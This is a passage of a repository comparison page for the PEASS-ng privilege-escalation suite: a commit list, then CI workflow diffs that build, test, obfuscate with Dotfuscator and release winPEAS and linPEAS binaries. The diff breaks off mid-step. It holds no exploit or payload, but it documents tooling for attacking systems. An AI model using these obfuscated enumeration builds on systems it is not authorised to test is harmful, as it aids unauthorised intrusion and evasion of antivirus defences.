mirror of
https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite.git
synced 2025-12-21 07:29:01 +00:00
Compare commits
477 Commits
winpeas_de
...
20231015-0
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
9163062daa | ||
|
|
6d8db70b30 | ||
|
|
4ee91b897a | ||
|
|
05f6cb7b0a | ||
|
|
5199c4c395 | ||
|
|
f99387feed | ||
|
|
7eac86c008 | ||
|
|
cab71afe3a | ||
|
|
822768ca1b | ||
|
|
84dc284fac | ||
|
|
101f477279 | ||
|
|
f296c89300 | ||
|
|
eddc6726e0 | ||
|
|
ae37d8f24f | ||
|
|
78d187db52 | ||
|
|
0fe26134ea | ||
|
|
40c47868d2 | ||
|
|
b617756f80 | ||
|
|
6c0d00f1cb | ||
|
|
9861259bca | ||
|
|
0ab20b9524 | ||
|
|
33bba036ce | ||
|
|
89240fc7ea | ||
|
|
3ab9ab8101 | ||
|
|
d101acc85c | ||
|
|
869145388d | ||
|
|
bcd52764ba | ||
|
|
6525727ca9 | ||
|
|
41e2367be6 | ||
|
|
5e41f694e2 | ||
|
|
5e8def70d1 | ||
|
|
f441212026 | ||
|
|
337f210bb9 | ||
|
|
d63f11bc53 | ||
|
|
210abd9329 | ||
|
|
be912ad77e | ||
|
|
667bb5220d | ||
|
|
44a3cce5c7 | ||
|
|
965ca0868a | ||
|
|
1279434ba6 | ||
|
|
d60fed0f20 | ||
|
|
0a1a0d1e56 | ||
|
|
2bc6c94608 | ||
|
|
509e164d6f | ||
|
|
e7bfabe082 | ||
|
|
7c7b17a7cc | ||
|
|
2cb6af3f27 | ||
|
|
0d75c0085a | ||
|
|
bc064ddb88 | ||
|
|
a0f612b582 | ||
|
|
aa59afe289 | ||
|
|
08144aaac3 | ||
|
|
8f533247be | ||
|
|
660dc3dc60 | ||
|
|
7b8b6670b8 | ||
|
|
6f48de1573 | ||
|
|
3cceae682d | ||
|
|
4a29293199 | ||
|
|
6d2e33cd61 | ||
|
|
8dd0350b5c | ||
|
|
b4801ccc4d | ||
|
|
083ed6ae7d | ||
|
|
ad2150ded5 | ||
|
|
74377ec9e8 | ||
|
|
917a3a0101 | ||
|
|
099755dbcb | ||
|
|
b9a44ffe66 | ||
|
|
cdd342fb26 | ||
|
|
36523f520f | ||
|
|
7f4965c0b7 | ||
|
|
898b29b0fa | ||
|
|
e36d5a5736 | ||
|
|
11cfe79ad0 | ||
|
|
a1552d61df | ||
|
|
71ec9c7d31 | ||
|
|
d4ff43b604 | ||
|
|
56a193df60 | ||
|
|
f67bedda4f | ||
|
|
f988d8b05f | ||
|
|
78c932f1af | ||
|
|
7e7738ab98 | ||
|
|
68cd1c28df | ||
|
|
58719a6075 | ||
|
|
2a4868c0eb | ||
|
|
e4b9ae6479 | ||
|
|
7b096cd930 | ||
|
|
a9ae25cdc3 | ||
|
|
e7617700b3 | ||
|
|
96c821193e | ||
|
|
7bb66d2182 | ||
|
|
711d9f1a95 | ||
|
|
a36c2c9107 | ||
|
|
2963e47866 | ||
|
|
d20699ed51 | ||
|
|
df4f122a53 | ||
|
|
7f8ea5fa44 | ||
|
|
7e9c9b4e5b | ||
|
|
fad2771dfb | ||
|
|
3e213bd8fd | ||
|
|
5356d3f2ec | ||
|
|
2ac2debc59 | ||
|
|
bb47a172b3 | ||
|
|
69c3906ab7 | ||
|
|
3bec4c4b52 | ||
|
|
345bf63b40 | ||
|
|
1e796b9876 | ||
|
|
39d811c16f | ||
|
|
a0175b0172 | ||
|
|
b0f4868feb | ||
|
|
4f295a138d | ||
|
|
a1e06de8ca | ||
|
|
2775083680 | ||
|
|
62e4b071cd | ||
|
|
4a0b8fb065 | ||
|
|
4ba0f6b6c2 | ||
|
|
ff96d02125 | ||
|
|
4f3a8265e0 | ||
|
|
8912bd2b9c | ||
|
|
438e00527d | ||
|
|
144c0aef6f | ||
|
|
c597da42f7 | ||
|
|
613bf14049 | ||
|
|
e1fdef50d9 | ||
|
|
b1845a1a18 | ||
|
|
19a2ed5f5a | ||
|
|
1a7183decf | ||
|
|
8ee66af278 | ||
|
|
0682cafe08 | ||
|
|
aa1f162359 | ||
|
|
60b2e1d974 | ||
|
|
5b96594c3c | ||
|
|
eabec47c08 | ||
|
|
7b9bf9cf91 | ||
|
|
ded6f3045f | ||
|
|
d20638fa7b | ||
|
|
aa69a494b4 | ||
|
|
a4b226c16e | ||
|
|
3cc49b5b9a | ||
|
|
e5b9b67786 | ||
|
|
e29c9e88d5 | ||
|
|
8b6ce759d0 | ||
|
|
116d842158 | ||
|
|
46033a7af0 | ||
|
|
0ab4a65bab | ||
|
|
27d954e03a | ||
|
|
9416b924cb | ||
|
|
6ec25656f2 | ||
|
|
3039ce555d | ||
|
|
d382de1cb1 | ||
|
|
c62a8f8b54 | ||
|
|
a70b9773db | ||
|
|
7a19b0968f | ||
|
|
ce002b9f33 | ||
|
|
1afac19979 | ||
|
|
219b1669c3 | ||
|
|
1274f21097 | ||
|
|
f86e301a1b | ||
|
|
940b4bc791 | ||
|
|
b2e1a4e64a | ||
|
|
cb3e62a3ff | ||
|
|
701d41073a | ||
|
|
31e318c870 | ||
|
|
eb34a006e2 | ||
|
|
3950a1f7bd | ||
|
|
eaac654739 | ||
|
|
7bc53594b0 | ||
|
|
55faa3b5e8 | ||
|
|
8b444ba674 | ||
|
|
a5ca003383 | ||
|
|
502e561445 | ||
|
|
98e2318838 | ||
|
|
27bc0ba5cc | ||
|
|
2f7d8ea583 | ||
|
|
f1f321be44 | ||
|
|
dec10cded1 | ||
|
|
5fa0e76b69 | ||
|
|
480cf17e12 | ||
|
|
999fcff035 | ||
|
|
bbc22b3a91 | ||
|
|
56d71ae847 | ||
|
|
91bcfa109e | ||
|
|
e91676e6e6 | ||
|
|
fa0f2e17fb | ||
|
|
f8e0090962 | ||
|
|
10960f2456 | ||
|
|
0c9bee903a | ||
|
|
7f2b14d8d7 | ||
|
|
0a41095a1b | ||
|
|
06cb797f42 | ||
|
|
585fcc33b2 | ||
|
|
8d232ee083 | ||
|
|
3b764452b5 | ||
|
|
2844a124cd | ||
|
|
6536042afd | ||
|
|
d17e4dcca7 | ||
|
|
a928340752 | ||
|
|
db059d9a23 | ||
|
|
4050c0e445 | ||
|
|
91805d7542 | ||
|
|
9ea0c01b82 | ||
|
|
b3eefad3fe | ||
|
|
cf947f01c7 | ||
|
|
25a5b1ad63 | ||
|
|
ee80f8d97a | ||
|
|
7f3e4c440d | ||
|
|
1209890aa9 | ||
|
|
820e12f1ed | ||
|
|
f4e8443544 | ||
|
|
073114db86 | ||
|
|
75e11f7bb1 | ||
|
|
09312c6883 | ||
|
|
b6bf6a702a | ||
|
|
fb57aaa3d5 | ||
|
|
dd122b2f10 | ||
|
|
a89f235c43 | ||
|
|
7f0bbdbaae | ||
|
|
4206e78080 | ||
|
|
dc7c9db7dd | ||
|
|
48ff8b061b | ||
|
|
ea09bd5f3a | ||
|
|
68f1cf35b5 | ||
|
|
33f4ca923c | ||
|
|
b3c12e22b6 | ||
|
|
ff39a57b49 | ||
|
|
6ce34b2d61 | ||
|
|
0a4df51b06 | ||
|
|
7c275d50bc | ||
|
|
d57877077f | ||
|
|
e3238acc2b | ||
|
|
9f4045c697 | ||
|
|
52c2a1e11b | ||
|
|
f3495c48e9 | ||
|
|
db89a779ad | ||
|
|
77cc22a657 | ||
|
|
cc1e2b4d3c | ||
|
|
6ab4e6798f | ||
|
|
568f8cafa9 | ||
|
|
159a2d8643 | ||
|
|
d02e91a451 | ||
|
|
db1ad797d9 | ||
|
|
b9c8df71c5 | ||
|
|
c53425d4bc | ||
|
|
3723327e21 | ||
|
|
8f12ad9d67 | ||
|
|
3faac92a01 | ||
|
|
cb81dbf02f | ||
|
|
8c67152e17 | ||
|
|
9c31073279 | ||
|
|
f7eb8ce150 | ||
|
|
c8b28b1fb6 | ||
|
|
d15e3dffd5 | ||
|
|
07a2db8553 | ||
|
|
e81069ea0a | ||
|
|
21d3b3f349 | ||
|
|
aa94d9d432 | ||
|
|
5b8f3968e8 | ||
|
|
94e10c0ae7 | ||
|
|
5d0d7c7997 | ||
|
|
600dcc4549 | ||
|
|
a65d251242 | ||
|
|
0a605cdd32 | ||
|
|
5d763a1c8b | ||
|
|
23d8f264be | ||
|
|
1c02bbc9d6 | ||
|
|
70e85e14dd | ||
|
|
bfd0cf62a7 | ||
|
|
be85f7e0e0 | ||
|
|
6a0b3f7cb1 | ||
|
|
3ecb6090c1 | ||
|
|
86a2a24a1c | ||
|
|
605b718fba | ||
|
|
3ffaf1f1bb | ||
|
|
f27c56bd3c | ||
|
|
2e5e368109 | ||
|
|
e1b1421bdb | ||
|
|
8233069c97 | ||
|
|
24b6713641 | ||
|
|
f7ca40a623 | ||
|
|
0e1504aadc | ||
|
|
23eba25f84 | ||
|
|
980ed1114b | ||
|
|
72a979b029 | ||
| 3dd9088b81 | |||
|
|
64733e2bcc | ||
|
|
e3478a7dde | ||
|
|
d927b07f8a | ||
|
|
91c809c7e6 | ||
|
|
c237223727 | ||
|
|
1a95c388ef | ||
|
|
29d30bed4c | ||
|
|
a952e52edc | ||
|
|
f0a75b5705 | ||
|
|
c84f538d93 | ||
|
|
4ebc59f12c | ||
|
|
06ee95e52b | ||
|
|
1a71d9bc64 | ||
|
|
32cf7f5568 | ||
|
|
3065b78f26 | ||
|
|
b0ab180ca8 | ||
|
|
64458b5947 | ||
|
|
936d87d449 | ||
|
|
f26d434025 | ||
| 65eda41faa | |||
|
|
012d8dfc74 | ||
|
|
bc328b1163 | ||
|
|
d9192ae1aa | ||
|
|
84524dfac5 | ||
|
|
9eb6724c15 | ||
|
|
1dc76cd04f | ||
| 310001b9f8 | |||
|
|
810589df03 | ||
|
|
1edcf4e28d | ||
|
|
8d45b5091e | ||
| 4c933bf8b8 | |||
|
|
618be8d3bb | ||
|
|
4ca310d66d | ||
|
|
ec2df32082 | ||
|
|
1dbbcbd57e | ||
|
|
8e8050ad5c | ||
| 2a4410d2e3 | |||
|
|
9fb5d521a7 | ||
|
|
78153444ef | ||
|
|
33bf711d55 | ||
|
|
1daa02d8dd | ||
| 6b73be5718 | |||
|
|
b51d3a0239 | ||
|
|
4184355562 | ||
|
|
b65b24e20c | ||
| ffa26b30f6 | |||
|
|
c3da88fe5c | ||
|
|
0a974bbbc9 | ||
|
|
274de4c883 | ||
|
|
92168ead27 | ||
| 4882144638 | |||
|
|
8ec223fa93 | ||
|
|
0e76276ff8 | ||
|
|
7619aece51 | ||
|
|
e93a02d030 | ||
| f05bf003eb | |||
|
|
1235e65b98 | ||
|
|
6d70913b28 | ||
|
|
9d86748afe | ||
|
|
784542cdde | ||
|
|
dc8fd3a6b1 | ||
|
|
d30c6ca63a | ||
|
|
14fa744ef9 | ||
| a47050b005 | |||
|
|
efcf6d6f2d | ||
|
|
6c2bba00f4 | ||
|
|
c731f6ebe6 | ||
| ca4247d5cd | |||
|
|
63465c2d17 | ||
|
|
83be61d946 | ||
|
|
6c39d33b7b | ||
|
|
9b096b734c | ||
| 18d46cac81 | |||
|
|
c228606f0e | ||
|
|
abc169dddd | ||
|
|
35cfa99ad4 | ||
|
|
5f12fbc9ca | ||
| 05cc06f24a | |||
|
|
c0098aead4 | ||
|
|
87fe48a900 | ||
|
|
a7f161a40d | ||
| 110de1f2d2 | |||
|
|
1d4617bcf7 | ||
|
|
4d67bbc32d | ||
|
|
b5bb7242c9 | ||
|
|
bf3675bb7e | ||
|
|
ff55ae4dae | ||
| 368a3210af | |||
|
|
e28af1c881 | ||
|
|
5b236b3588 | ||
|
|
ca2fc521b0 | ||
|
|
35ce0ffe65 | ||
| 708e7d3664 | |||
|
|
7c819683d2 | ||
|
|
e757c30484 | ||
|
|
23479dc994 | ||
|
|
f91e0fcc90 | ||
|
|
3c4e61f926 | ||
| 620771b911 | |||
|
|
29ec575c9e | ||
|
|
cef6c4779d | ||
|
|
42cfc4091a | ||
|
|
c0f458c5ef | ||
| c0b2e629db | |||
|
|
1707851668 | ||
|
|
5d195b8934 | ||
|
|
83909f7fce | ||
|
|
dc72293b77 | ||
|
|
f22ef81ff6 | ||
| 28f3cab9fe | |||
|
|
1be4710a8e | ||
|
|
912b042fdd | ||
|
|
cfd6f71ff1 | ||
|
|
d9df84d889 | ||
|
|
84d9497600 | ||
|
|
05d35fb016 | ||
|
|
9fe1bbb12d | ||
|
|
dc4754e225 | ||
| a4e4d0ba26 | |||
|
|
d3fbb03717 | ||
|
|
dc93d8f1a2 | ||
|
|
10f132f292 | ||
|
|
c44f1aa9ef | ||
|
|
e53c7e6d97 | ||
|
|
87bbddb43b | ||
| 14ae8f4db3 | |||
|
|
7747b071db | ||
|
|
713cef277d | ||
|
|
c7a98ee914 | ||
|
|
8ccf553b5b | ||
|
|
a8b980dae4 | ||
|
|
5d83e73722 | ||
|
|
33542ddaaf | ||
|
|
ad7e616072 | ||
| cf1fbd59b6 | |||
|
|
dce3c0d1ff | ||
|
|
0b228978a1 | ||
|
|
220ee4330e | ||
| c1f8ac7896 | |||
|
|
93fd84a1d0 | ||
|
|
a8346d4edd | ||
|
|
33b89dabbf | ||
|
|
8bf50143e2 | ||
|
|
fb36433eec | ||
| 32116e4c5e | |||
|
|
a12d563594 | ||
|
|
1f59abf2e5 | ||
|
|
1ac6bc1432 | ||
| 67b72ff0c1 | |||
|
|
8ce392c4ae | ||
|
|
e5277f2aad | ||
|
|
57cf17c4c0 | ||
|
|
988ef11d59 | ||
|
|
1826130a48 | ||
|
|
1203e1e562 | ||
|
|
b3c37ab8ca | ||
|
|
4aec71f88a | ||
|
|
3f9965332b | ||
| 8eca4537cd | |||
|
|
97e2023205 | ||
|
|
6e4e60e1e5 | ||
|
|
f419b13688 | ||
|
|
0231da524b | ||
|
|
6f53b6666f | ||
|
|
c160fd0467 | ||
| 5cafd25ad3 | |||
|
|
aad6d29107 | ||
|
|
6b54e66b77 | ||
|
|
491a64effe | ||
|
|
273ddfe27e | ||
|
|
ef56a0163e | ||
|
|
905a20c7b5 | ||
|
|
66038661ca | ||
|
|
034e14cc13 | ||
|
|
a5d46162e5 | ||
|
|
2f7df9646e | ||
| f8d06ed683 | |||
|
|
8bc8fd7170 | ||
|
|
eb96f247d7 | ||
|
|
14def5b064 | ||
|
|
9481c2e58a | ||
|
|
fe6aec76be | ||
| cd17ad3202 | |||
|
|
b186dc43a4 | ||
|
|
fa1ddfe1f1 | ||
|
|
4bdad93a28 | ||
|
|
fe60c4b055 | ||
| c37ca9d037 | |||
|
|
2bce6ec0ef | ||
|
|
a7362d5968 | ||
|
|
b3e4ec6a2c | ||
|
|
73b5798dc6 | ||
|
|
b3e5077046 | ||
|
|
d6d96b1308 |
2
.github/FUNDING.yml
vendored
2
.github/FUNDING.yml
vendored
@@ -1 +1 @@
|
||||
custom: ['https://www.patreon.com/peass']
|
||||
custom: ['https://github.com/sponsors/carlospolop']
|
||||
|
||||
1
.github/ISSUE_TEMPLATE.md
vendored
1
.github/ISSUE_TEMPLATE.md
vendored
@@ -1,4 +1,5 @@
|
||||
If you are going to suggest something, please remove the following template.
|
||||
If your issue is related with WinPEAS.ps1 please mention https://github.com/RandolphConley
|
||||
|
||||
#### Issue description
|
||||
|
||||
|
||||
372
.github/workflows/CI-master_tests.yml
vendored
372
.github/workflows/CI-master_tests.yml
vendored
@@ -1,17 +1,20 @@
|
||||
name: CI-master_test
|
||||
|
||||
on:
|
||||
pull_request:
|
||||
push:
|
||||
branches:
|
||||
- master
|
||||
paths-ignore:
|
||||
- '.github/**'
|
||||
|
||||
schedule:
|
||||
- cron: "5 4 * * SUN"
|
||||
|
||||
workflow_dispatch:
|
||||
|
||||
jobs:
|
||||
|
||||
Build_and_test_winpeas_master:
|
||||
runs-on: windows-latest
|
||||
needs: Build_and_test_linpeas_master
|
||||
|
||||
# environment variables
|
||||
env:
|
||||
@@ -24,10 +27,11 @@ jobs:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@master
|
||||
with:
|
||||
persist-credentials: false
|
||||
# Otherwise, you will failed to push refs to dest repo.
|
||||
fetch-depth: 0
|
||||
ref: refs/heads/${{ github.head_ref }}
|
||||
ref: ${{ github.head_ref }}
|
||||
|
||||
- name: Download regexes
|
||||
run: |
|
||||
powershell.exe -ExecutionPolicy Bypass -File build_lists/download_regexes.ps1
|
||||
|
||||
# Add MSBuild to the PATH: https://github.com/microsoft/setup-msbuild
|
||||
- name: Setup MSBuild.exe
|
||||
@@ -89,78 +93,232 @@ jobs:
|
||||
# copy the files
|
||||
- name: Copy Dotfuscator generated files
|
||||
run: |
|
||||
cp $env:DotFuscatorGeneratedPath\x64\winPEASx64.exe "winPEAS\winPEASexe\binaries\Obfuscated Releases\winPEASx64.exe"
|
||||
cp $env:DotFuscatorGeneratedPath\x86\winPEASx86.exe "winPEAS\winPEASexe\binaries\Obfuscated Releases\winPEASx86.exe"
|
||||
cp $env:DotFuscatorGeneratedPath\any\winPEASany.exe "winPEAS\winPEASexe\binaries\Obfuscated Releases\winPEASany.exe"
|
||||
# Git add
|
||||
- name: Create local changes
|
||||
run: |
|
||||
git add winPEAS\winPEASexe\binaries\Release\*
|
||||
git add winPEAS\winPEASexe\binaries\x64\*
|
||||
git add winPEAS\winPEASexe\binaries\x86\*
|
||||
git add "winPEAS\winPEASexe\binaries\Obfuscated Releases\*.exe"
|
||||
# Git commit
|
||||
- name: Commit results to Github
|
||||
run: |
|
||||
git config --local user.email "ci@winpeas.com"
|
||||
git config --global user.name "CI-winpeas"
|
||||
git pull origin "${{ github.ref }}" --autostash --rebase -Xours
|
||||
git commit -m "winpeas binaries auto update" -a --allow-empty
|
||||
cp $env:DotFuscatorGeneratedPath\x64\winPEASx64.exe "winPEAS\winPEASexe\binaries\Obfuscated Releases\winPEASx64_ofs.exe"
|
||||
cp $env:DotFuscatorGeneratedPath\x86\winPEASx86.exe "winPEAS\winPEASexe\binaries\Obfuscated Releases\winPEASx86_ofs.exe"
|
||||
cp $env:DotFuscatorGeneratedPath\any\winPEASany.exe "winPEAS\winPEASexe\binaries\Obfuscated Releases\winPEASany_ofs.exe"
|
||||
|
||||
# Git push
|
||||
- name: Push changes
|
||||
uses: ad-m/github-push-action@master
|
||||
# Upload all the versions for the release
|
||||
- name: Upload winpeasx64
|
||||
uses: actions/upload-artifact@v2
|
||||
with:
|
||||
branch: refs/heads/${{ github.head_ref }}
|
||||
github_token: ${{ secrets.GITHUB_TOKEN }}
|
||||
force: true
|
||||
name: winPEASx64.exe
|
||||
path: winPEAS\winPEASexe\binaries\x64\Release\winPEASx64.exe
|
||||
|
||||
- name: Upload winpeasx86
|
||||
uses: actions/upload-artifact@v2
|
||||
with:
|
||||
name: winPEASx86.exe
|
||||
path: winPEAS\winPEASexe\binaries\x86\Release\winPEASx86.exe
|
||||
|
||||
- name: Upload winpeasany
|
||||
uses: actions/upload-artifact@v2
|
||||
with:
|
||||
name: winPEASany.exe
|
||||
path: winPEAS\winPEASexe\binaries\Release\winPEASany.exe
|
||||
|
||||
- name: Upload winpeasx64ofs
|
||||
uses: actions/upload-artifact@v2
|
||||
with:
|
||||
name: winPEASx64_ofs.exe
|
||||
path: winPEAS\winPEASexe\binaries\Obfuscated Releases\winPEASx64_ofs.exe
|
||||
|
||||
- name: Upload winpeasx86ofs
|
||||
uses: actions/upload-artifact@v2
|
||||
with:
|
||||
name: winPEASx86_ofs.exe
|
||||
path: winPEAS\winPEASexe\binaries\Obfuscated Releases\winPEASx86_ofs.exe
|
||||
|
||||
- name: Upload winpeasanyofs
|
||||
uses: actions/upload-artifact@v2
|
||||
with:
|
||||
name: winPEASany_ofs.exe
|
||||
path: winPEAS\winPEASexe\binaries\Obfuscated Releases\winPEASany_ofs.exe
|
||||
|
||||
- name: Upload winpeas.bat
|
||||
uses: actions/upload-artifact@v2
|
||||
with:
|
||||
name: winPEAS.bat
|
||||
path: winPEAS\winPEASbat\winPEAS.bat
|
||||
|
||||
- name: Upload winpeas.ps1
|
||||
uses: actions/upload-artifact@v2
|
||||
with:
|
||||
name: winPEAS.ps1
|
||||
path: winPEAS\winPEASps1\winPEAS.ps1
|
||||
|
||||
# Git add
|
||||
#- name: Create local changes
|
||||
# run: |
|
||||
# git add winPEAS\winPEASexe\binaries\Release\*
|
||||
# git add winPEAS\winPEASexe\binaries\x64\*
|
||||
# git add winPEAS\winPEASexe\binaries\x86\*
|
||||
# git add "winPEAS\winPEASexe\binaries\Obfuscated Releases\*.exe"
|
||||
# Git commit
|
||||
#- name: Commit results to Github
|
||||
# run: |
|
||||
# git config --local user.email "ci@winpeas.com"
|
||||
# git config --global user.name "CI-winpeas"
|
||||
# git pull origin "${{ github.ref }}" --autostash --rebase -Xours
|
||||
# git commit -m "winpeas binaries auto update" -a --allow-empty
|
||||
# Git push
|
||||
#- name: Push changes
|
||||
# uses: ad-m/github-push-action@master
|
||||
# with:
|
||||
# branch: ${{ github.head_ref }}
|
||||
# github_token: ${{ secrets.GITHUB_TOKEN }}
|
||||
# force: true
|
||||
|
||||
Build_and_test_linpeas_master:
|
||||
runs-on: ubuntu-latest
|
||||
|
||||
steps:
|
||||
# Download repo
|
||||
- uses: actions/checkout@v2
|
||||
with:
|
||||
persist-credentials: false
|
||||
# Otherwise, you will failed to push refs to dest repo.
|
||||
fetch-depth: 0
|
||||
ref: refs/heads/${{ github.head_ref }}
|
||||
ref: ${{ github.head_ref }}
|
||||
|
||||
# Setup go
|
||||
- uses: actions/setup-go@v2
|
||||
with:
|
||||
go-version: 1.17.0-rc1
|
||||
stable: false
|
||||
- run: go version
|
||||
|
||||
# Build linpeas
|
||||
- name: Build linpeas
|
||||
run: |
|
||||
python3 -m pip install PyYAML
|
||||
cd linPEAS
|
||||
python3 -m builder.linpeas_builder
|
||||
|
||||
# Build linpeas binaries
|
||||
- name: Build linpeas binaries
|
||||
run: |
|
||||
git clone https://github.com/carlospolop/sh2bin
|
||||
cd sh2bin
|
||||
bash build.sh ../linPEAS/linpeas.sh
|
||||
mv builds/sh2bin_linux_386 builds/linpeas_linux_386
|
||||
mv builds/sh2bin_linux_amd64 builds/linpeas_linux_amd64
|
||||
mv builds/sh2bin_linux_arm builds/linpeas_linux_arm
|
||||
mv builds/sh2bin_linux_arm64 builds/linpeas_linux_arm64
|
||||
mv builds/sh2bin_darwin_amd64 builds/linpeas_darwin_amd64
|
||||
mv builds/sh2bin_darwin_arm64 builds/linpeas_darwin_arm64
|
||||
ls -lR ./
|
||||
|
||||
# Run linpeas help as quick test
|
||||
- name: Run linpeas help
|
||||
run: linPEAS/linpeas.sh -h
|
||||
|
||||
- name: Run linpeas
|
||||
run: linPEAS/linpeas.sh -t
|
||||
# Run linpeas as a test
|
||||
- name: Run linpeas system_information
|
||||
run: linPEAS/linpeas.sh -o system_information -a
|
||||
|
||||
- name: Create local changes
|
||||
run: git add linPEAS/linpeas.sh
|
||||
- name: Run linpeas container
|
||||
run: linPEAS/linpeas.sh -o container -a
|
||||
|
||||
- name: Commit results to Github
|
||||
run: |
|
||||
git config --local user.email ""
|
||||
git config --global user.name "CI-linpeas-ubuntu"
|
||||
git pull origin "${{ github.ref }}" --autostash --rebase -Xours
|
||||
git commit -m "linpeas.sh auto update" -a --allow-empty
|
||||
- name: Run linpeas cloud
|
||||
run: linPEAS/linpeas.sh -o cloud -a
|
||||
|
||||
- name: Push changes
|
||||
uses: ad-m/github-push-action@master
|
||||
- name: Run linpeas procs_crons_timers_srvcs_sockets
|
||||
run: linPEAS/linpeas.sh -o procs_crons_timers_srvcs_sockets -a
|
||||
|
||||
- name: Run linpeas network_information
|
||||
run: linPEAS/linpeas.sh -o network_information -t -a
|
||||
|
||||
- name: Run linpeas users_information
|
||||
run: linPEAS/linpeas.sh -o users_information -a
|
||||
|
||||
- name: Run linpeas software_information
|
||||
run: linPEAS/linpeas.sh -o software_information -a
|
||||
|
||||
- name: Run linpeas interesting_perms_files
|
||||
run: linPEAS/linpeas.sh -o interesting_perms_files -a
|
||||
|
||||
- name: Run linpeas interesting_files
|
||||
run: linPEAS/linpeas.sh -o interesting_files -a
|
||||
|
||||
# Too much time
|
||||
#- name: Run linpeas api_keys_regex
|
||||
# run: linPEAS/linpeas.sh -o api_keys_regex -r
|
||||
|
||||
# Upload files for release
|
||||
- name: Upload linpeas.sh
|
||||
uses: actions/upload-artifact@v2
|
||||
with:
|
||||
branch: refs/heads/${{ github.head_ref }}
|
||||
github_token: ${{ secrets.GITHUB_TOKEN }}
|
||||
force: true
|
||||
name: linpeas.sh
|
||||
path: linPEAS/linpeas.sh
|
||||
|
||||
- name: Upload linpeas_fat.sh
|
||||
uses: actions/upload-artifact@v2
|
||||
with:
|
||||
name: linpeas_fat.sh
|
||||
path: linPEAS/linpeas_fat.sh
|
||||
|
||||
## Linux bins
|
||||
- name: Upload linpeas_linux_386
|
||||
uses: actions/upload-artifact@v2
|
||||
with:
|
||||
name: linpeas_linux_386
|
||||
path: sh2bin/builds/linpeas_linux_386
|
||||
|
||||
- name: Upload linpeas_linux_amd64
|
||||
uses: actions/upload-artifact@v2
|
||||
with:
|
||||
name: linpeas_linux_amd64
|
||||
path: sh2bin/builds/linpeas_linux_amd64
|
||||
|
||||
- name: Upload linpeas_linux_arm
|
||||
uses: actions/upload-artifact@v2
|
||||
with:
|
||||
name: linpeas_linux_arm
|
||||
path: sh2bin/builds/linpeas_linux_arm
|
||||
|
||||
- name: Upload linpeas_linux_arm64
|
||||
uses: actions/upload-artifact@v2
|
||||
with:
|
||||
name: linpeas_linux_arm64
|
||||
path: sh2bin/builds/linpeas_linux_arm64
|
||||
|
||||
## Darwin bins
|
||||
- name: Upload linpeas_darwin_amd64
|
||||
uses: actions/upload-artifact@v2
|
||||
with:
|
||||
name: linpeas_darwin_amd64
|
||||
path: sh2bin/builds/linpeas_darwin_amd64
|
||||
|
||||
- name: Upload linpeas_darwin_arm64
|
||||
uses: actions/upload-artifact@v2
|
||||
with:
|
||||
name: linpeas_darwin_arm64
|
||||
path: sh2bin/builds/linpeas_darwin_arm64
|
||||
|
||||
# Clean sh2bin repo
|
||||
- name: Cleaning sh2bin
|
||||
run: rm -rf sh2bin
|
||||
|
||||
# - name: Create local changes
|
||||
# run: git add linPEAS/linpeas.sh
|
||||
# - name: Commit results to Github
|
||||
# run: |
|
||||
# git config --local user.email ""
|
||||
# git config --global user.name "CI-linpeas-ubuntu"
|
||||
# git pull origin "${{ github.ref }}" --autostash --rebase -Xours
|
||||
# git commit -m "linpeas.sh auto update" -a --allow-empty
|
||||
# - name: Push changes
|
||||
# uses: ad-m/github-push-action@master
|
||||
# with:
|
||||
# branch: ${{ github.head_ref }}
|
||||
# github_token: ${{ secrets.GITHUB_TOKEN }}
|
||||
# force: true
|
||||
|
||||
Build_and_test_macpeas_master:
|
||||
runs-on: macos-latest
|
||||
|
||||
steps:
|
||||
# Download repo
|
||||
- uses: actions/checkout@v2
|
||||
|
||||
# Build linpeas
|
||||
- name: Build macpeas
|
||||
run: |
|
||||
python3 -m pip install PyYAML
|
||||
@@ -168,8 +326,120 @@ jobs:
|
||||
cd linPEAS
|
||||
python3 -m builder.linpeas_builder
|
||||
|
||||
# Run linpeas help as quick test
|
||||
- name: Run macpeas help
|
||||
run: linPEAS/linpeas.sh -h
|
||||
|
||||
- name: Run macpeas
|
||||
run: linPEAS/linpeas.sh -o SysI,Container,Devs,AvaSof,ProCronSrvcsTmrsSocks,Net,UsrI,SofI
|
||||
# Run macpeas parts to test it
|
||||
#- name: Run macpeas
|
||||
# run: linPEAS/linpeas.sh -D -o system_information,container,procs_crons_timers_srvcs_sockets,network_information,users_information,software_information
|
||||
|
||||
|
||||
Publish_release:
|
||||
runs-on: ubuntu-latest
|
||||
needs: [Build_and_test_winpeas_master, Build_and_test_linpeas_master, Build_and_test_macpeas_master]
|
||||
|
||||
steps:
|
||||
# Download files to release
|
||||
- name: Download winpeasx64ofs
|
||||
uses: actions/download-artifact@v2
|
||||
with:
|
||||
name: winPEASx64_ofs.exe
|
||||
|
||||
- name: Download winpeasx86ofs
|
||||
uses: actions/download-artifact@v2
|
||||
with:
|
||||
name: winPEASx86_ofs.exe
|
||||
|
||||
- name: Download winpeasanyofs
|
||||
uses: actions/download-artifact@v2
|
||||
with:
|
||||
name: winPEASany_ofs.exe
|
||||
|
||||
- name: Download winpeasx64
|
||||
uses: actions/download-artifact@v2
|
||||
with:
|
||||
name: winPEASx64.exe
|
||||
|
||||
- name: Download winpeasx86
|
||||
uses: actions/download-artifact@v2
|
||||
with:
|
||||
name: winPEASx86.exe
|
||||
|
||||
- name: Download winpeasany
|
||||
uses: actions/download-artifact@v2
|
||||
with:
|
||||
name: winPEASany.exe
|
||||
|
||||
- name: Download winpeas.bat
|
||||
uses: actions/download-artifact@v2
|
||||
with:
|
||||
name: winPEAS.bat
|
||||
|
||||
- name: Download linpeas.sh
|
||||
uses: actions/download-artifact@v2
|
||||
with:
|
||||
name: linpeas.sh
|
||||
|
||||
- name: Download linpeas_fat.sh
|
||||
uses: actions/download-artifact@v2
|
||||
with:
|
||||
name: linpeas_fat.sh
|
||||
|
||||
- name: Download linpeas_linux_386
|
||||
uses: actions/download-artifact@v2
|
||||
with:
|
||||
name: linpeas_linux_386
|
||||
|
||||
- name: Download linpeas_linux_amd64
|
||||
uses: actions/download-artifact@v2
|
||||
with:
|
||||
name: linpeas_linux_amd64
|
||||
|
||||
- name: Download linpeas_linux_arm
|
||||
uses: actions/download-artifact@v2
|
||||
with:
|
||||
name: linpeas_linux_arm
|
||||
|
||||
- name: Download linpeas_linux_arm64
|
||||
uses: actions/download-artifact@v2
|
||||
with:
|
||||
name: linpeas_linux_arm64
|
||||
|
||||
- name: Download linpeas_darwin_amd64
|
||||
uses: actions/download-artifact@v2
|
||||
with:
|
